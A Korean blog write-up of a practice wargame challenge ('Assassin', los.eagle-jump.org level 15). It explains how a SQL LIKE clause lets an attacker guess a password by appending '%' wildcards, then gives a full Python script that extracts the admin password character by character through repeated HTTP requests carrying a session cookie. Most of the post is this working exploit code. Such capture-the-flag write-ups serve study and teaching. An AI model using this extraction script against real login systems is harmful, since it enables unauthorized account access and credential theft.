White Security
Assassin 문제풀이 본문
los.eagle-jump.org 의 15번 문제입니다.
등호가 아닌 like 절을 사용했다는 것이 특징인데요.
먼저 like 에 사용되는 메타 캐릭터를 확인하겠습니다.
% 캐릭터는 리눅스 Bash 에서의 * (애스터리스크) 와 대응되고
_는 . 과 대응됩니다.
따라서 % 이전에 문자열를 붙여
a% b% c% ... 등을 인자로 넣어보는 것으로
pw 값을 알아내는 것이 가능합니다.
from urllib import request, parse
import math, sys
char_list = 'abcdefghijklmnopqrstuvxyz0123456789'
def check_answer(response):
if response.find(b'Hello admin') != -1:
return 2
elif response.find(b'Hello guest') != -1:
return 1
else:
return 0
def like_query(string):
data = parse.urlencode({
'pw' : string + '%'
})
req = request.Request('https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?' + data)
req.add_header('Cookie', 'PHPSESSID=qus0d9r31j3mjc9aao7p1o0k30;')
req.add_header('user-agent','Mozilla/5.0')
req.get_method = lambda : 'GET'
response = None
while response is None:
try:
response = request.urlopen(req).read()
except:
pass
return check_answer(response)
pw = ''
while True:
found = (0, '')
for c in char_list:
response = like_query(pw + c)
if response >= 1:
found = (response, c)
if response == 2:
break
pw += found[1]
sys.stdout.write('\r' + pw)
if found[0] == 0: break
guest의 pw와 admin의 pw 가 유사하고
guest 가 admin 보다 앞쪽에 위치하기 때문에
두 계정에서 중복되는 부분을 입력하면
guest 로 로그인되니 주의하여 탐색하면 되겠습니다.
'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글
| Succubus 문제풀이 (0) | 2019.01.31 |
|---|---|
| Zombie assassin 문제풀이 (0) | 2019.01.31 |
| Giant 문제풀이 (0) | 2019.01.31 |
| Bugbear 문제풀이 (0) | 2019.01.30 |
| Darkknight 문제풀이 (0) | 2019.01.30 |
Comments